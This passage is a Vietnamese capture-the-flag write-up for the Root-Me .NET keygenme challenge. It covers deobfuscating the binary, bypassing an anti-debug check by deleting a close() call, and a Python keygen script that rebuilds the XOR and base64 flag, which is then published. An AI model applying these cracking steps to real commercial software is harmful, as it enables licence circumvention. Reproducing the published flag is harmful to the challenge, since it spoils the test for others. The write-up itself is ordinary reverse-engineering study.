Vậy bước tiếp theo ta tìm thử xem coi nó được obfuscated bằng cách nào. Ở đây mình đã thử dùng confuserEx Unpack với de4dot nhưng đều bị fail. Lúc này mình quan sát kĩ lại từng dòng code trong dnspy xem có bỏ sót 1 điều gì không ^^ và Ôi!Thật  bất ngờ  . Đây là cái mình nhìn thấy và nó cũng chính là cái keyword để deobfuscated.
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;
Search Google thì mình tìm được 1 video hướng dẫn deobfuscated dạng này. Mình sẽ để link ở dưới.
Link: https://www.youtube.com/watch?v=2vPo1XpQh0I&lt;/p&gt;
&lt;p&gt;Làm theo video ta deobfucate được code tuy là chưa clean lắm nhưng có thể đọc được.
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;
Đọc code ta thấy chương trình có 1 hàm check để anti- debug ở đây mình chỉ cần xóa hàm close().
&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;
Vậy là ta đã bypass được anti-debug. Bây giờ đọc qua hàm check key xem. Ở đây ta có thể thấy key ta nhập vào sẽ được so sánh với flag được mã hóa bằng base64. Với flag = 1 đoạn mã base64 xor với string cho trước.&lt;/p&gt;
&lt;p&gt;Ở đây mình sử dụng python để giải bài này. Dưới đây là đoạn code(Mình sẽ để đính kèm file .py):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

def encode(s1, s2):  # Mo phong lai ham encode string

    return &apos;&apos;.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def getFlag():

    user = &quot;Root-me&quot;
    txt = base64.b64encode(bytes(user.encode())).decode(&apos;utf-8&apos;)[0:5]

    baseString = &quot;s0h4rd&quot;
    valstr1 = &quot;dr4h0s&quot;
    valstr2 = &quot;dr4h0sv2&quot;

    # value encode(user,valstr) -&amp;gt; chuyen thanh bytes -&amp;gt; covert to base64
    value1 = base64.b64encode(bytes(encode(&quot;&quot;.join(list(reversed(txt[0:5]))), valstr1).encode())).decode(&apos;utf-8&apos;)[0:5]
    value2 = base64.b64encode(bytes(encode(&quot;&quot;.join(list(txt[0:5])), valstr2).encode())).decode(&apos;utf-8&apos;)[0:5]

    flag = []
    flag.append(encode(base64.b64decode(&quot;BQ==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;QA==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;AQ==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;Cg==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;LA==&quot;).decode(&quot;utf-8&quot;), baseString))

    for i in range(0, 5):
        flag.append(value1[i])

    flag.append(encode(base64.b64decode(&quot;LA==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;Gw==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;Rw==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;AQ==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;Fw==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;EA==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;Qw==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;AQ==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;QA==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;LA==&quot;).decode(&quot;utf-8&quot;), baseString))

    for i in range(0, 5):
        flag.append(value2[i])

    flag.append(encode(base64.b64decode(&quot;LA==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;GA==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;QA==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;Cg==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;FA==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;QA==&quot;).decode(&quot;utf-8&quot;), baseString))
    flag.append(encode(base64.b64decode(&quot;HQ==&quot;).decode(&quot;utf-8&quot;), baseString))
    return flag

def main():
    print(&quot;Hello welcome to Zhuge&apos;s World! This Root-Me PE .Net keygenme challenge.&quot;)
    print(&quot;Flag: &quot; + &quot;&quot;.join(getFlag()))
if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Và đây là thành quả:
&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;
Check lại thử:
&lt;img src=&quot;image-6.png&quot; alt=&quot;alt text&quot; /&gt;
Vậy là cuối cùng ta đã giải bài này thành công rồi. Cảm ơn các bạn đã đọc hết bài writeup của mình ^^.
Thử submit thì mình thấy root-me lại báo sai. Thử đổi vị trí value lại xem sao. Và amazing! mình đã submit được flag.
&lt;strong&gt;Flag&lt;/strong&gt;: &lt;em&gt;v3ry_MR8NH_h4rdc0r3_AAQNB_k3yg3n&lt;/em&gt;&lt;/p&gt;
</content:encoded></item></channel></rss>